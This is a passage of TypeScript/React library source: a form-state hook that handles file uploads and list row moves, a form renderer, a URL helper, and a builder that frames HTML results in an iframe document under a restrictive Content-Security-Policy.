How many times `reset` has run. `MethodForm` keys its fields by it, so a\n * reset remounts them and nothing a control kept for the values it replaced\n * outlives them: the preview of a file still arriving, a refused drop, an\n * open preview. A host rendering its own fields keys them the same way.\n */\n resets: number;\n /**\n * Ids (value paths) with an upload in flight, each at its row's id as it is\n * now: `removeItem` and `moveItem` carry an upload along with its row. Read\n * by `MethodForm`.\n */\n uploadingIds: ReadonlySet<string>;\n /**\n * Ids whose last upload failed, and whose file nothing has replaced since:\n * an upload marks its id only if its place still holds the file it was\n * dropped over, and an id leaves the set when a new file is dropped there,\n * when a write changes the file at its path (to another file or to none),\n * when `removeItem` removes its row, and on a reset. `removeItem` and\n * `moveItem` carry it to its row's new id. Read by `MethodForm`.\n */\n failedUploadIds: ReadonlySet<string>;\n /**\n * The upload seam `MethodForm` hands its file fields, when the host uploads:\n * stores the file through `uploadFile` and writes it at the id's path, or at\n * its row's new id when `removeItem` or `moveItem` moved that row while the\n * file was arriving. It returns the upload, which resolves to the file it\n * wrote once it lands, and rejects when it writes nothing: when it fails,\n * or when a newer file dropped at the same id, a reset or the removal of its\n * row replaces it. A file field matches that answer to its value, so a host\n * rendering its own fields passes this as `FieldEnv.onDropFile` unchanged.\n * Ignoring the promise is safe: the form handles its rejection itself.\n */\n dropFile: ((id: string, file: File) => Promise<{ url: string; filename: string }>) | undefined;\n /** The host's file source, which `MethodForm` hands its file fields. */\n fileSource: FilePickerSource | undefined;\n /** The host's example source, which `MethodForm` offers above the fields. */\n exampleSource: ExamplePickerSource | undefined;\n}\n\nconst EMPTY_IDS: ReadonlySet<string> = new Set<string>();\n\nfunction withId(ids: ReadonlySet<string>, id: string): ReadonlySet<string> {\n if (ids.has(id)) return ids;\n const next = new Set(ids);\n next.add(id);\n return next;\n}\n\nfunction withoutId(ids: ReadonlySet<string>, id: string): ReadonlySet<string> {\n if (!ids.has(id)) return ids;\n const next = new Set(ids);\n next.delete(id);\n return next;\n}\n\n/** An upload in flight, as the form keeps it under the id it writes back to. */\ninterface InFlight {\n /** Which drop started it: a newer drop at the same id replaces the entry. */\n token: number;\n /**\n * The address of the file its place held when it was dropped (`undefined`\n * for none): the file a failure of that upload would be about.\n */\n over: string | undefined;\n}\n\n/**\n * What the form holds of its own: the values since the first edit, the\n * uploads that failed, the uploads in flight and the rows it has moved. One\n * state rather than several, because one write changes them together: a file put where an upload\n * failed ends that failure (`written`), an upload's failure counts only while\n * its place holds what it was dropped over (`uploadFailed`), and a row moved\n * in a list carries both with it (`rowsMoved`).\n *\n * The failures and the uploads are keyed by id, a value path, and a list's\n * rows have no identity in the values: an empty row is nothing at all, and a\n * structure row is a new object after every keystroke. So the form follows a\n * row only through the moves it makes itself, and reads every other write by\n * position.\n */\ninterface HeldState {\n /** `null` while nothing is edited, when the form shows the live initial values. */\n edited: MethodFormValues | null;\n /** Ids whose last upload failed, and whose file nothing has replaced since. */\n failed: ReadonlySet<string>;\n /** The uploads in flight, by the id each one writes back to. */\n uploads: ReadonlyMap<string, InFlight>;\n /**\n * The rows moved since the last reset, oldest first: what the lists replay\n * on the identities of their rows, so they agree with the ids above.\n */\n moves: readonly RowMove[];\n}\n\nconst NO_UPLOADS: ReadonlyMap<string, InFlight> = new Map();\nconst NO_MOVES: readonly RowMove[] = [];\nconst NOTHING_HELD: HeldState = {\n edited: null,\n failed: EMPTY_IDS,\n uploads: NO_UPLOADS,\n moves: NO_MOVES,\n};\n\n/** `entries` without `id`, the same map when it held none. */\nfunction withoutEntry<V>(entries: ReadonlyMap<string, V>, id: string): ReadonlyMap<string, V> {\n if (!entries.has(id)) return entries;\n const next = new Map(entries);\n next.delete(id);\n return next;\n}\n\n/**\n * The address of the file the values hold at a field id (a dotted value path,\n * `photos.1` or `invoice.source`), or `undefined` when there is none. The URL\n * is the file's identity, as everywhere a file value is compared: it is what\n * the run sends, and what the file field itself watches to tell that another\n * file was written in.\n */\nfunction fileUrlAt(values: MethodFormValues, id: string): string | undefined {\n const node = valueAt(values, id);\n if (node === null || typeof node !== 'object') return undefined;\n const url = ownProp(node as Record<string, unknown>, 'url');\n return typeof url === 'string' && url !== '' ? url : undefined;\n}\n\n/** What the values hold at a field id (a dotted value path), `undefined` for nothing. */\nfunction valueAt(values: MethodFormValues, id: string): unknown {\n let node: unknown = values;\n for (const key of id.split('.')) {\n if (node === null || typeof node !== 'object') return undefined;\n node = ownProp(node as Record<string, unknown>, key);\n }\n return node;\n}\n\n/**\n * The form after a write of its values, with every failed upload whose file\n * the write replaced left out of the failed ids.\n *\n * A failure is about a file that never arrived, so whatever stands in its\n * place afterwards is a newer answer than it, whoever wrote it: a file chosen\n * from the host's files, a typed link, a list's sheet filling the row, the\n * host's own `setValues`. A clear counts too: the field's own controls take\n * every one of these, the clear included, as the person moving past the\n * failure, and a mark the kernel kept after the control had dismissed it came\n * back as \"upload failed\" on the next control mounted over that id. A write\n * that leaves the file at that path as it was (another input, a row added\n * after the failed one) keeps the failure.\n *\n * The write is read by position, as everything but `rowsMoved` is: a failure\n * and an upload in flight stay at their ids. A write that moved rows reads as\n * one that replaced them, since the values cannot say which it was.\n *\n * A write that hands back the values it was given returns `held` itself, so\n * React skips the render, as it did when the values were a state of their own.\n */\nfunction written(\n held: HeldState,\n initial: MethodFormValues,\n update: (before: MethodFormValues) => MethodFormValues,\n): HeldState {\n const before = held.edited ?? initial;\n const after = update(before);\n // While nothing is edited, even the initial values handed back are a first\n // edit: the form owns its values from then on.\n if (after === held.edited) return held;\n const replaced = [...held.failed].filter((id) => fileUrlAt(before, id) !== fileUrlAt(after, id));\n if (replaced.length === 0) return { ...held, edited: after };\n const failed = new Set(held.failed);\n for (const id of replaced) failed.delete(id);\n return { ...held, edited: after, failed };\n}\n\n/**\n * The form as a file is dropped at `id`: a new attempt, which no failure is\n * about yet, and which replaces any upload still arriving there.\n */\nfunction uploadDropped(\n held: HeldState,\n initial: MethodFormValues,\n id: string,\n token: number,\n): HeldState {\n const uploads = new Map(held.uploads);\n uploads.set(id, { token, over: fileUrlAt(held.edited ?? initial, id) });\n return { ...held, failed: withoutId(held.failed, id), uploads };\n}\n\n/**\n * Where the upload started by drop `token` writes back now, with what the\n * form keeps of it, or `undefined` once nothing waits on it: a newer drop at\n * its id, a reset or the removal of its row replaced it.\n */\nfunction placeOf(held: HeldState, token: number): [string, InFlight] | undefined {\n for (const entry of held.uploads) if (entry[1].token === token) return entry;\n return undefined;\n}\n\n/**\n * The form as the upload started by drop `token` fails: marked failed only\n * while its place still holds the file it was dropped over. A file written\n * there while it was in flight (a host's `setValues`, a list's sheet) is a\n * newer answer than the failure, exactly as one written after it would be, so\n * it marks nothing. An upload nothing waits on any more changes nothing.\n */\nfunction uploadFailed(held: HeldState, initial: MethodFormValues, token: number): HeldState {\n const place = placeOf(held, token);\n if (!place) return held;\n const [id, upload] = place;\n const stillThere = fileUrlAt(held.edited ?? initial, id) === upload.over;\n return {\n ...held,\n failed: stillThere ? withId(held.failed, id) : held.failed,\n uploads: withoutEntry(held.uploads, id),\n };\n}\n\n/**\n * The form as the upload started by drop `token` lands: its file written at\n * its place, over whatever was written there while it was in flight, since\n * the newest file dropped at a field wins. Its place is its row's id as it is\n * now, which `rowsMoved` carried along while the file was arriving.\n */\nfunction uploadLanded(\n held: HeldState,\n initial: MethodFormValues,\n token: number,\n value: { url: string; filename: string },\n): HeldState {\n const place = placeOf(held, token);\n if (!place) return held;\n const [id] = place;\n const next = written(held, initial, (before) => setValueAtPath(before, id.split('.'), value));\n return { ...next, uploads: withoutEntry(next.uploads, id) };\n}\n\n/**\n * The form after the rows of the list at `listId` are put in a new order:\n * `order` is handed the rows and answers, for each row of the new list, the\n * index that row held before, leaving out a row that is removed, or `null`\n * when there is nothing to do. Everything the form keeps by id moves with its\n * row: a failure, an upload in flight and what it was dropped over, at the row\n * itself (`attachments.2`) or anywhere inside it (`candidates.2.resume`,\n * `candidates.2.letters.0`). What it kept for a removed row goes with the row.\n *\n * This is the one write the form reads by row rather than by position, and it\n * can because it makes the move itself: a value cannot say that a row moved,\n * so a write handed to `written` could only be guessed at. The move joins the\n * log under `seq`, for the lists to move their rows' identities the same way.\n */\nfunction rowsMoved(\n held: HeldState,\n initial: MethodFormValues,\n listId: string,\n order: (rows: readonly unknown[]) => readonly number[] | null,\n seq: number,\n): HeldState {\n const before = held.edited ?? initial;\n const rows = valueAt(before, listId);\n if (!Array.isArray(rows)) return held;\n const sources = order(rows);\n if (!sources) return held;\n const after = setValueAtPath(\n before,\n listId.split('.'),\n sources.map((source) => rows[source]),\n );\n const destination = destinationOf(sources);\n const failed = new Set<string>();\n for (const id of held.failed) {\n const moved = movedId(id, listId, destination);\n if (moved !== undefined) failed.add(moved);\n }\n const uploads = new Map<string, InFlight>();\n for (const [id, upload] of held.uploads) {\n const moved = movedId(id, listId, destination);\n if (moved !== undefined) uploads.set(moved, upload);\n }\n const moves = [...held.moves, { seq, listId, order: sources }];\n return { edited: after, failed, uploads, moves };\n}\n\n/** Whether `index` names a row of `rows`. */\nfunction isRow(rows: readonly unknown[], index: number): boolean {\n return Number.isInteger(index) && index >= 0 && index < rows.length;\n}\n\n/** The rows' old indices once the row at `index` is removed, or `null` for no row there. */\nfunction withoutRow(index: number) {\n return (rows: readonly unknown[]): number[] | null =>\n isRow(rows, index) ? rows.map((_, i) => i).filter((i) => i !== index) : null;\n}\n\n/** The rows' old indices once the row at `from` moves to `to`, or `null` for no move. */\nfunction rowMovedTo(from: number, to: number) {\n return (rows: readonly unknown[]): number[] | null => {\n if (!isRow(rows, from) || !isRow(rows, to) || from === to) return null;\n const order = rows.map((_, i) => i).filter((i) => i !== from);\n order.splice(to, 0, from);\n return order;\n };\n}\n\n/**\n * The fields in the host's order: the named ones first, in the order given,\n * then the rest in descriptor order. Stable, and never drops a field.\n */\nfunction orderFields(fields: RunField[], order: readonly string[] | undefined): RunField[] {\n if (!order || order.length === 0) return fields;\n const rank = (field: RunField) => {\n const index = order.indexOf(field.name);\n return index === -1 ? order.length : index;\n };\n return fields\n .map((field, index) => ({ field, index }))\n .sort((a, b) => rank(a.field) - rank(b.field) || a.index - b.index)\n .map(({ field }) => field);\n}\n\n/**\n * The state of one method's input form. See `UseMethodFormOptions` for what it\n * takes and `MethodFormController` for what it gives back; render it with\n * `<MethodForm form={...} />`.\n *\n * A different method is a different form: remount (a new `key`) when the\n * descriptor changes, as values belong to the inputs they were typed for.\n */\nexport function useMethodForm({\n descriptor,\n contract,\n prepareFields,\n order,\n initialValues,\n uploadFile,\n fileSource,\n exampleSource,\n}: UseMethodFormOptions): MethodFormController {\n // A joined key rather than the array, so an inline `order` literal does not\n // re-derive the fields on every render.\n const orderKey = order ? order.join('\\u0000') : '';\n const fields = useMemo(() => {\n const derived = buildRunFields(descriptor, contract.inputs);\n const prepared = prepareFields ? prepareFields(derived) : derived;\n return orderFields(prepared, orderKey ? orderKey.split('\\u0000') : undefined);\n }, [descriptor, contract.inputs, prepareFields, orderKey]);\n\n const initial = useMemo<MethodFormValues>(() => {\n if (typeof initialValues === 'function') return initialValues(seedInputs(fields));\n return initialValues ?? seedInputs(fields);\n }, [initialValues, fields]);\n\n // The held state's truth is `store`, which every change reads and replaces\n // at once, from an event handler or an upload's callback, never in render;\n // `held` is the same state as last rendered. An upload's callback has to\n // know, when it runs, whether anything still waits on it and where its row\n // has moved, and a state updater could only tell it during the next render.\n // A change that hands back the state it was given renders nothing.\n const store = useRef<HeldState>(NOTHING_HELD);\n const [held, setHeld] = useState<HeldState>(NOTHING_HELD);\n const commit = useCallback((next: HeldState) => {\n if (next === store.current) return;\n store.current = next;\n setHeld(next);\n }, []);\n const edited = held.edited;\n const failedUploadIds = held.failed;\n const uploadingIds = useMemo<ReadonlySet<string>>(\n () => (held.uploads.size === 0 ? EMPTY_IDS : new Set(held.uploads.keys())),\n [held.uploads],\n );\n\n // What the person's edits are measured against: the values of the last\n // `reset`, or the initial values as they stood at the first edit since.\n // `null` while nothing is edited, when the form shows the live initial\n // values. Taken once, so a host changing its initial values later does not\n // move it, and an edit stays the person's own. `touched` compares with it.\n const [given, setGiven] = useState<MethodFormValues | null>(null);\n const [attempted, setAttempted] = useState(false);\n const [resets, setResets] = useState(0);\n const uploadCounter = useRef(0);\n // Numbers the row moves, and is never reset: a list mounted before a reset\n // must not mistake a move made after it for one it has already replayed.\n const moveCounter = useRef(0);\n\n const values = edited ?? initial;\n\n const setValues = useCallback<MethodFormController['setValues']>(\n (next) => {\n setGiven((previous) => previous ?? initial);\n commit(\n written(store.current, initial, (before) =>\n typeof next === 'function' ? next(before) : next,\n ),\n );\n },\n [initial, commit],\n );\n\n const moveRows = useCallback(\n (listId: string, order: (rows: readonly unknown[]) => readonly number[] | null) => {\n const seq = moveCounter.current + 1;\n const next = rowsMoved(store.current, initial, listId, order, seq);\n if (next === store.current) return;\n moveCounter.current = seq;\n setGiven((previous) => previous ?? initial);\n commit(next);\n },\n [initial, commit],\n );\n const removeItem = useCallback<MethodFormController['removeItem']>(\n (listId, index) => moveRows(listId, withoutRow(index)),\n [moveRows],\n );\n const moveItem = useCallback<MethodFormController['moveItem']>(\n (listId, from, to) => moveRows(listId, rowMovedTo(from, to)),\n [moveRows],\n );\n\n const reset = useCallback<MethodFormController['reset']>(\n (next) => {\n commit({ edited: next ?? null, failed: EMPTY_IDS, uploads: NO_UPLOADS, moves: NO_MOVES });\n setGiven(next ?? null);\n setAttempted(false);\n setResets((count) => count + 1);\n },\n [commit],\n );\n\n const dropFile = useMemo(() => {\n if (!uploadFile) return undefined;\n return (id: string, file: File) => {\n // The drop is told apart by its token rather than its id, since its row\n // may move while the file is arriving and its id with it.\n const token = ++uploadCounter.current;\n commit(uploadDropped(store.current, initial, id, token));\n const path = id.split('.');\n let upload: Promise<UploadedFile>;\n try {\n upload = Promise.resolve(uploadFile(file, { id, path }));\n } catch (error) {\n upload = Promise.reject(error);\n }\n // What this upload wrote, handed back to whoever dropped the file: the\n // field matches its URL to the value, which is how it knows its upload's\n // own result whatever render the result lands in. An upload that writes\n // nothing rejects, the one a newer drop, a reset or the removal of its\n // row replaced included, since the field must not wait on a file that\n // will never arrive.\n const landed = upload.then((stored) => {\n if (!placeOf(store.current, token)) {\n throw new Error(\n `A newer file, a reset or the removal of its row replaced the upload dropped at \"${id}\".`,\n );\n }\n const value =\n typeof stored === 'string'\n ? { url: stored, filename: file.name }\n : { url: stored.url, filename: stored.filename ?? file.name };\n setGiven((previous) => previous ?? initial);\n commit(uploadLanded(store.current, initial, token, value));\n return value;\n });\n // The form handles the rejection itself, so a caller that ignores the\n // promise leaves no unhandled rejection behind. One that nothing waits\n // on any more changes nothing.\n landed.then(undefined, () => commit(uploadFailed(store.current, initial, token)));\n return landed;\n };\n }, [uploadFile, initial, commit]);\n\n const readiness = useMemo(() => computeReadiness(fields, values), [fields, values]);\n const inputs = useMemo(\n () => apiInputsFromRunValues(values, fields, contract.inputs),\n [values, fields, contract.inputs],\n );\n const uploading = uploadingIds.size > 0;\n const ready = readiness.ready === readiness.total && !uploading;\n const touched = useMemo(\n () => uploading || (edited !== null && given !== null && !sameRunValues(edited, given, fields)),\n [uploading, edited, given, fields],\n );\n\n const attempt = useCallback(() => {\n setAttempted(true);\n return ready;\n }, [ready]);\n\n return {\n fields,\n values,\n inputs,\n readiness,\n uploading,\n ready,\n attempted,\n touched,\n setValues,\n removeItem,\n moveItem,\n rowMoves: held.moves,\n reset,\n attempt,\n resets,\n uploadingIds,\n failedUploadIds,\n dropFile,\n fileSource,\n exampleSource,\n };\n}\n\nexport interface MethodFormProps {\n /** The state to render, from `useMethodForm`. */\n form: MethodFormController;\n /** Holds every control read-only, as a host does while a run is in flight. */\n disabled?: boolean;\n /** `FieldEnv.allowUrl`: `false` takes the \"paste a URL instead\" link away. */\n allowUrl?: boolean;\n /** `FieldEnv.resolveUrl`: turns a stored reference into a URL a preview can load. */\n resolveUrl?: (uri: string) => Promise<string | null>;\n /**\n * Whether the empty optional inputs fold behind a \"+ N optional inputs\"\n * disclosure (the default), as they do inside a structure. `false` shows\n * every input; a closed optional structure still folds, since the\n * disclosure is what opens it.\n */\n foldOptional?: boolean;\n /**\n * A message per input name, shown on that input over the form's own marks:\n * a server gate's verdict, say.\n */\n errors?: Readonly<Record<string, string>>;\n /** Mounts `FieldStringsProvider` with this locale (`fr`, `fr-FR`…). */\n locale?: string;\n /** Mounts `FieldStringsProvider` with these keys over the locale's pack. */\n strings?: Partial<FieldStrings>;\n /** Mounts `FieldPresentationProvider`; absent, the nearest one applies. */\n presentation?: FieldPresentation;\n /**\n * The host draws the form inside a panel of its own, so the form draws no\n * card inside it: a structure among the inputs is a section, its name a\n * heading over its fields, set off from the inputs beside it by a hairline\n * rather than boxed. A section the run gate refuses draws a red bar down\n * its side, 4 pixels off the form, and sets its message beside its\n * heading, where a card would turn its outline red, so the panel leaves\n * the form 7 pixels of unclipped room at its start edge. Absent, a\n * structure that is an input draws its own card, which is what says where\n * it ends on a bare page.\n */\n framed?: boolean;\n /** Classes for the stack the fields sit in. */\n className?: string;\n}\n\n/**\n * Every input of the method `form` holds, rendered through `FieldRenderer`.\n *\n * Each input's id is its name, so a file's upload id is its value path. A\n * gating input still empty after `form.attempt()` is marked `requiredField`,\n * and an optional input started but not complete `incompleteField`; a host's\n * `errors` entry replaces either. A structure the gate refuses marks each\n * field inside it that the gate refuses the same way, at every depth; a\n * host's entry for the structure adds no mark to them and removes none of the\n * gate's. The top-level \"+ N optional inputs\"\n * disclosure folds and opens exactly as the one inside a structure does,\n * optional structures included.\n */\nexport function MethodForm({ locale, strings, presentation, framed, ...props }: MethodFormProps) {\n let body: ReactNode = (\n <FramedFormContext value={framed ?? false}>\n <MethodFormFields {...props} framed={framed} />\n </FramedFormContext>\n );\n if (presentation) {\n body = (\n <FieldPresentationProvider presentation={presentation}>{body}</FieldPresentationProvider>\n );\n }\n if (locale !== undefined || strings !== undefined) {\n body = (\n <FieldStringsProvider locale={locale} strings={strings}>\n {body}\n </FieldStringsProvider>\n );\n }\n return body;\n}\n\ntype MethodFormFieldsProps = Omit<MethodFormProps, 'locale' | 'strings' | 'presentation'>;\n\n/**\n * The hairline a framed form sets between a structure's section and any\n * input, disclosure or example row beside it: under a section that anything\n * follows, and over a section that follows anything but another section, so\n * two sections share one rule. It is the edge the section's card drew when\n * the form was not framed, drawn once between two neighbours rather than\n * around one of them, so a section last in the form leaves no rule over the\n * host's own action row. Each rule is the section's own: a neighbour's root\n * may be a box of its own (a boolean's row is filled, bordered and padded),\n * and a border or padding set on it would reshape that box. Tailwind reads\n * the classes whole in source, so they are spelled out.\n */\nconst SECTION_RULES =\n '[&>[data-form-section]:not(:last-child)]:border-b [&>[data-form-section]:not(:last-child)]:border-border [&>[data-form-section]:not(:last-child)]:pb-6 [&>:not([data-form-section])+[data-form-section]]:border-t [&>:not([data-form-section])+[data-form-section]]:border-border [&>:not([data-form-section])+[data-form-section]]:pt-6';\n\nfunction MethodFormFields({\n form,\n disabled,\n allowUrl,\n resolveUrl,\n foldOptional = true,\n errors,\n framed,\n className,\n}: MethodFormFieldsProps) {\n const s = useFieldStrings();\n const [showOptional, setShowOptional] = useState(false);\n const {\n fields,\n values,\n setValues,\n removeItem,\n rowMoves,\n reset,\n attempted,\n touched,\n resets,\n uploadingIds,\n failedUploadIds,\n dropFile,\n fileSource,\n exampleSource,\n } = form;\n\n const uploadErrors = useMemo(\n () => new Map([...failedUploadIds].map((id) => [id, s.uploadFailed] as const)),\n [failedUploadIds, s.uploadFailed],\n );\n const env = useMemo<FieldEnv>(\n () => ({\n disabled,\n onDropFile: dropFile,\n uploadingIds,\n uploadErrors,\n // A list's remove button goes through the form, which carries a failed\n // upload, or one in flight, along with the rows it renumbers, and logs\n // the move for every list to move its rows' identities the same way,\n // whether the button or the host moved them.\n onRemoveItem: removeItem,\n rowMoves,\n allowUrl,\n resolveUrl,\n fileSource,\n }),\n [\n disabled,\n dropFile,\n uploadingIds,\n uploadErrors,\n removeItem,\n rowMoves,\n allowUrl,\n resolveUrl,\n fileSource,\n ],\n );\n\n // The same disclosure the object control draws inside a structure, at the\n // top level. With folding off, only a closed optional structure folds: it\n // has no control of its own, and the disclosure is what opens it.\n const folds = (field: RunField) => {\n const value = ownProp(values, field.name);\n return foldOptional\n ? isFoldedOptional(field, value)\n : isOptionalStructure(field) && !optionalStructureOpen(value);\n };\n const folded = fields.filter(folds);\n const structureOpen = anyOptionalStructureOpen(fields, values);\n const expanded = showOptional || structureOpen;\n const visible = expanded ? fields : fields.filter((field) => !folds(field));\n const hasStructure = fields.some(isOptionalStructure);\n\n const toggle = () => {\n setShowOptional(!expanded);\n if (hasStructure) {\n setValues((previous) =>\n expanded\n ? closeOptionalStructures(fields, previous)\n : openOptionalStructures(fields, previous),\n );\n }\n };\n\n // Why the form's own gate refuses an input, once the person has tried to\n // run: what a structure's members are marked by as well.\n const refusalOf = (field: RunField) =>\n attempted ? gateRefusal(field, ownProp(values, field.name), mustBeFilled(field)) : undefined;\n const errorFor = (field: RunField, refusal: ReturnType<typeof refusalOf>): string | undefined => {\n const hostError = errors ? ownProp(errors, field.name) : undefined;\n if (hostError) return hostError;\n if (refusal === 'required') return s.requiredField;\n return refusal === 'incomplete' ? s.incompleteField : undefined;\n };\n\n return (\n <div className={cn('space-y-6', framed && SECTION_RULES, className)}>\n {exampleSource && (\n <FillWithExample\n source={exampleSource}\n fields={fields}\n touched={touched}\n // Filling is a reset to the example's values: the attempt, the\n // failed uploads and any upload in flight go with what was there.\n onFill={(next) => reset(next)}\n disabled={disabled}\n />\n )}\n {visible.map((field) => {\n const refusal = refusalOf(field);\n return (\n // Remounted on each reset, so no control keeps what it held for the\n // values the reset replaced (a file still arriving, a failed drop). A\n // structure the gate refuses marks the members it refuses, whatever\n // a host's message says of the structure.\n <RefusedStructureContext\n key={`${field.name}:${resets}`}\n value={refusal ? field.name : null}\n >\n <FieldRenderer\n field={field}\n id={field.name}\n value={ownProp(values, field.name)}\n error={errorFor(field, refusal)}\n env={env}\n onChange={(next) => setValues((previous) => ({ ...previous, [field.name]: next }))}\n />\n </RefusedStructureContext>\n );\n })}\n {(folded.length > 0 || structureOpen) && (\n <OptionalToggle count={folded.length} expanded={expanded} onToggle={toggle} noun=\"input\" />\n )}\n </div>\n );\n}\n","import { viewableUrl } from '../core/native-content';\n\n/**\n * A root-relative path the URL gate admits, made absolute against this\n * document; anything else verbatim.\n *\n * For a URL that leaves the document: the clipboard, or a host's delivery\n * outside the view's frame, where `/api/assets/x` would otherwise be read\n * against whatever page it lands in.\n *\n * Resolved against `document.baseURI`, which is how the browser resolves the\n * same path for an `<img>` or a `fetch` in this document: it honours a\n * `<base>`, and in a `srcdoc` frame it is the parent's URL. `location.origin`\n * is the string `\"null\"` there, which made the old answer `null/api/assets/x`.\n *\n * The gate decides what counts as a path, so there is one answer to that\n * question: `/\\host/x`, which the URL parser reads as another origin, is left\n * as it was rather than resolved to that origin.\n */\nexport function absoluteUrl(url: string): string {\n const gated = viewableUrl(url);\n if (!gated?.startsWith('/') || typeof document === 'undefined') return url;\n try {\n return new URL(gated, document.baseURI).href;\n } catch {\n // An opaque base, such as a `data:` document's, resolves nothing.\n return url;\n }\n}\n","import type { HtmlContentView } from '../core/native-content';\n\n/**\n * The document a `native.Html` result is framed in: the on-screen preview's and\n * the PDF copy's, built by one function so the two cannot drift on the policy\n * that keeps model markup from reaching the host. Internal to the `./react`\n * entry; see `html-preview.tsx` for why a frame at all, and\n * `docs/result-view.md` § Markup for the policy.\n */\n\n/**\n * What `img-src` allows by default: the host's own origin, inline data and\n * ordinary remote images. `'self'` is the host's origin because the frame is\n * same-origin with it; it is what lets a page served from a plain-`http:`\n * development host reach `/images/…`, which `https:` already covers in\n * production.\n */\nexport const DEFAULT_IMG_SRC = \"'self' data: https:\";\n\n/** The colours and face the frame's own stylesheet is written in. */\nexport interface FrameTypography {\n color: string;\n mutedColor: string;\n borderColor: string;\n font: string;\n}\n\n/**\n * A page's colours: ink on paper, whatever the theme around it. A whole\n * document is a page its author laid out for a white sheet, and a fragment of\n * one printed must not keep a dark theme's near-white text either.\n */\nexport function pageTypography(font: string): FrameTypography {\n return { color: '#000', mutedColor: '#555', borderColor: '#bbb', font };\n}\n\n/**\n * The frame's own stylesheet: the host's typography, and table chrome. Every\n * rule but `body`'s is `:where()`, and the sheet comes first in the head, so a\n * page's own CSS wins over all of it.\n */\nexport function frameStyles({ color, mutedColor, borderColor, font }: FrameTypography): string {\n return `\n :root { color-scheme: inherit; }\n body {\n margin: 0;\n color: ${color};\n font-family: ${font};\n font-size: 13px;\n line-height: 1.55;\n background: transparent;\n overflow-wrap: anywhere;\n }\n :where(h1, h2, h3, h4, h5, h6) { margin: 0 0 0.4em; line-height: 1.25; }\n :where(h1) { font-size: 1.4em; }\n :where(h2) { font-size: 1.2em; }\n :where(h3) { font-size: 1.05em; }\n :where(p, ul, ol, table, pre, blockquote) { margin: 0 0 0.75em; }\n :where(ul, ol) { padding-inline-start: 1.25em; }\n :where(table) { border-collapse: collapse; width: 100%; }\n :where(th, td) {\n border: 1px solid ${borderColor};\n padding: 4px 8px;\n text-align: left;\n vertical-align: top;\n }\n :where(th) { font-weight: 600; }\n :where(caption) { caption-side: top; color: ${mutedColor}; padding-bottom: 4px; text-align: left; }\n :where(a) { color: inherit; }\n :where(code, pre) { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: 0.92em; }\n :where(pre) { white-space: pre-wrap; }\n :where(blockquote) { border-inline-start: 2px solid ${borderColor}; margin-inline-start: 0; padding-inline-start: 0.75em; color: ${mutedColor}; }\n :where(img) { max-width: 100%; height: auto; }\n :where(hr) { border: 0; border-top: 1px solid ${borderColor}; }\n :where(*:last-child) { margin-bottom: 0; }\n `;\n}\n\n/**\n * Whether the markup is a whole document rather than a fragment: it opens, past\n * any whitespace and comments, on a doctype, an `<html>` or a `<head>`. A\n * method that renders a printable page (a quote, an invoice) usually writes the\n * whole document, with its own head, styles and print rules.\n */\nexport function isWholeDocument(markup: string): boolean {\n return /^\\s*(?:<!--[\\s\\S]*?-->\\s*)*<(?:!doctype\\b|html[\\s>]|head[\\s>])/i.test(markup);\n}\n\nexport interface FrameDocumentOptions {\n styles: string;\n imgSrc: string;\n fontSrc: string;\n}\n\n/**\n * The whole frame document. The policy rides a `<meta>` because a `srcdoc`\n * document has no response to carry a header.\n *\n * ## A whole document is continued, not nested\n *\n * A fragment goes into a `<body>` of ours. A whole document used to go there\n * too, so its doctype, `<html>` and `<head>` landed inside our body, where the\n * parser drops them and leaves its styles and title in the body. Now our head\n * is written first and the document follows it as it is. The HTML parser,\n * having closed our head, treats what comes next as the rest of ONE document:\n * the second doctype and `<head>` tag are ignored, the `<html>` tag's\n * attributes (`lang`) are moved onto the root, and every `<meta>`, `<link>`,\n * `<style>` and `<title>` the document's head holds is put into our head, after\n * ours. So the policy meta is the first thing in the head whatever the markup\n * says, which a `<meta>` CSP needs (it governs only what follows it), and no\n * string search for the document's `<head>` is needed, which a comment holding\n * the text `<head>` would have fooled into writing the policy inside the\n * comment.\n *\n * The page's own stylesheet comes after ours and so wins.\n * The stated `css_class` wraps a fragment only, since a document has its own\n * body.\n *\n * ## No referrer\n *\n * The document declares `no-referrer` itself, beside the policy. A `srcdoc`\n * document takes its referrer policy from the host's page, so without it every\n * picture and face the page loads would tell the server it comes from where it\n * was shown, which nothing else this package paints does; an `<iframe>`'s own\n * `referrerpolicy` would not help, since it governs only the request for the\n * frame's `src`, and this frame has none. A method's page loses nothing by it:\n * its pictures are the URLs the result view's own images already load with no\n * referrer, and a cross-origin face is still sent its `Origin`, which is what\n * the font's CORS answer reads. A page that declares its own referrer policy\n * later in its head replaces this one, as a second `<meta name=\"referrer\">`\n * does.\n */\nexport function frameDocument(\n content: HtmlContentView,\n { styles, imgSrc, fontSrc }: FrameDocumentOptions,\n): string {\n const head = [\n '<!doctype html><html><head><meta charset=\"utf-8\">',\n `<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; style-src 'unsafe-inline'; img-src ${imgSrc}; font-src ${fontSrc}; base-uri 'none'; form-action 'none'\">`,\n '<meta name=\"referrer\" content=\"no-referrer\">',\n `<style>${styles}</style></head>`,\n ].join('');\n if (isWholeDocument(content.innerHtml)) return head + content.innerHtml;\n const body = content.cssClass\n ? // The class the value states, honoured the way the runtime's own HTML\n // rendering honours it: as a wrapper, not as something merged into ours.\n `<div class=\"${escapeAttribute(content.cssClass)}\">${content.innerHtml}</div>`\n : content.innerHtml;\n return `${head}<body>${body}</body></html>`;\n}\n\n/** A class name is written into an attribute, so its quotes must not close it. */\nfunction escapeAttribute(value: string): string {\n return value.replace(/&/g, '&amp;').replace(/\"/g, '&quot;').replace(/</g, '&lt;');\n}\n\n/** The typeface a page is laid out in when its own CSS names none and the host gives none. */\nexport const DEFAULT_PAGE_FONT = 'system-ui, sans-serif';\n\n/**\n * The frame document of a page as it prints: ink on paper in `fontFamily`, under the policy the\n * preview's frame holds. The in-browser PDF lays its copy out in it and a host's own `renderPdf`\n * is handed it, so the two cannot drift apart. An empty `fontFamily` reads as none.\n */\nexport function pageDocument(\n content: HtmlContentView,\n {\n imgSrc = DEFAULT_IMG_SRC,\n fontSrc,\n fontFamily,\n }: { imgSrc?: string; fontSrc?: string; fontFamily?: string } = {},\n): string {\n return frameDocument(content, {\n styles: frameStyles(pageTypography(fontFamily || DEFAULT_PAGE_FONT)),\n imgSrc,\n fontSrc: fontSrc ?? imgSrc,\n });\n}\n","import { viewableUrl } from '../core/native-content';\nimport { ownProp } from '../core/own-property';\nimport { isWholeDocument } from './html-frame';\n\n/**\n * The `pipelex-storage://` references inside an HTML page, 